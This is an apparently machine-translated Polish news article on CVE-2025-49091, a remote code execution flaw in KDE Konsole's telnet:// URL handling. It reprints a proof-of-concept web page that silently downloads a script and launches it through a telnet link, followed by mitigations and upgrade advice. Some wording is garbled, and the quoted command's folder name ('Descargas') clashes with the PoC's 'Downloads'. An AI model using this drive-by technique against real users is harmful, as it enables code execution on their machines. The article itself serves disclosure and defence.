Kilka dni temu opublikowano informację o krytyczna luka, który został zidentyfikowany pod „CVE-2025-49091«. Ta podatność odkryto w Konsoli (emulator terminala KDE) umożliwia zdalne wykonanie kodu poprzez samo odwiedzenie złośliwej strony internetowej z poziomu przeglądarki.
Wspomniano, że ten problem dotyczy systemów, w których KTelnetService i podatna na ataki wersja Konsole są zainstalowane, ale przynajmniej jeden z programów telnet, rlogin lub ssh nie jest zainstalowany. Luka znajduje się w konsoli emulatora terminala KDE. Jak zauważono w ostrzeżeniu KDE, wersje Konsole wcześniejsze niż 25.04.2 są podatne.
Konsola obsługuje ładowanie adresów URL z kontrolerów schematów, takich jak
telnet://URL. Można to uruchomić niezależnie od tego, czy telnet
Plik binarny jest dostępny.W tym trybie Konsola miała trasę, którą w przypadku braku dostępu do Telnetu
użyłbym ponownie powłoki bash dla podanych argumentów; co
jest podanym adresem URL. Pozwala to atakującemu na wykonanie dowolnego kodu.
kod.Przeglądarki zazwyczaj wyświetlają komunikat, gdy użytkownik otwiera przeglądarkę zewnętrzną.
Kontroler schematu, który może wyglądać podejrzanie i wymagać interakcji użytkownika
być podatnym na wykorzystanie.
Źródło problemu: KTelnetService i niebezpieczne schematy URL
Badacze zauważają, że problem stojący za tą luką leży w zachowaniu usługi KTelnetService, domyślnie dołączonej do KDE. Ta usługa jest odpowiedzialna za przetwarzanie schematów URL telnet://, rlogin:// i ssh:// i jest zaprojektowana tak, aby otwierać te łącza bezpośrednio w Konsole przy użyciu odpowiednich narzędzi (telnet, rlogin lub ssh).
Jednakże wada występuje, gdy te narzędzia nie są zainstalowane w systemie. W takim przypadku Konsole, próbując wykonać polecenie wskazane w linku, używa /bin/bash jako zamiennika. Dlatego atakujący może skonstruować niestandardowy link.
Chociaż na pierwszy rzut oka wydaje się to nieistotne, problem jest jeszcze poważniejszy, ponieważ atakujący może wykonać dowolny plik w katalogu pobrań użytkownika za pomocą polecenia custom. Innymi słowy, dowolny plik jest automatycznie wykonywany, jeśli użytkownik kliknie łącze z tym schematem.
Dlaczego to jest takie niebezpieczne?
Nowoczesne przeglądarki, takie jak Firefox i Chrome (w ustawieniach domyślnych) automatycznie zapisują pobrane pliki w folderze ~/Downloads, bez konieczności potwierdzania przez użytkownika. Wyświetlają powiadomienie dopiero po zakończeniu pobierania.
Takie zachowanie, w połączeniu z faktem, że w systemach Linux możliwy jest dostęp do bieżącej ścieżki katalogu przeglądarki, umożliwia automatyczne pobranie złośliwego pliku i jego uruchomienie z poziomu Konsoli bez wiedzy użytkownika.
Proof of Concept (PoC): W jaki sposób wykorzystywana jest luka w zabezpieczeniach
Aby zademonstrować niebezpieczeństwo, jakie niesie ze sobą ta luka, badacze stworzyli poniższy fragment kodu JavaScript, który pokazuje, w jaki sposób atakujący może wykorzystać tę lukę w zabezpieczeniach ze strony internetowej:
<html> <head> <script type="text/javascript"> function downloadAndRedirect() { const anchor = document.createElement('a'); anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg=="; anchor.download = 'evil'; document.body.appendChild(anchor); anchor.click(); document.body.removeChild(anchor); setTimeout(() => { window.location.href = "telnet:///proc/self/cwd/Downloads/evil"; }, 1000); } </script> </head> <body onload="downloadAndRedirect()"> </body> </html>
W przeglądarkach Firefox i Chrome, jeśli użytkownik zaakceptuje łącze telnet://, zostanie wywołane następujące polecenie:
/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Descargas/evil
Jeśli nie ma telnetu, złośliwy skrypt zostanie wykonany za pomocą powłoki bash.
Tymczasowe środki łagodzące
Podczas oczekiwania na poprawkę lub jeśli nie możesz natychmiast wykonać aktualizacji, istnieją dwa proste sposoby na złagodzenie problemu:
Zainstaluj narzędzia telnet, rlogin i ssh
Jeśli te narzędzia są obecne, Konsole wywoła je poprawnie i nie będzie uciekać się do bash. Zapobiega to wykonywaniu dowolnej zawartości jako skryptu.
sudo apt install telnet rlogin openssh-client
Usuń plik usługi KTelnetService
Możesz usunąć plik odpowiedzialny za rejestrację tych schematów:
sudo rm /usr/share/applications/ktelnetservice6.desktop
Zapobiegnie to automatycznej obsłudze łączy telnet://, rlogin:// i ssh:// przez Konsolę.
Rozwiązanie: pilna aktualizacja do wersji Konsole 25.04.2
Luka została naprawiona w wersji Konsole 25.04.2, dołączonej do aktualizacji KDE Gear 25.04.2. Wszystkim użytkownikom i administratorom systemu zdecydowanie zaleca się natychmiastową aktualizację.
Wreszcie, jeśli chcesz dowiedzieć się więcej na ten temat, możesz zapoznać się ze szczegółami w następujący link.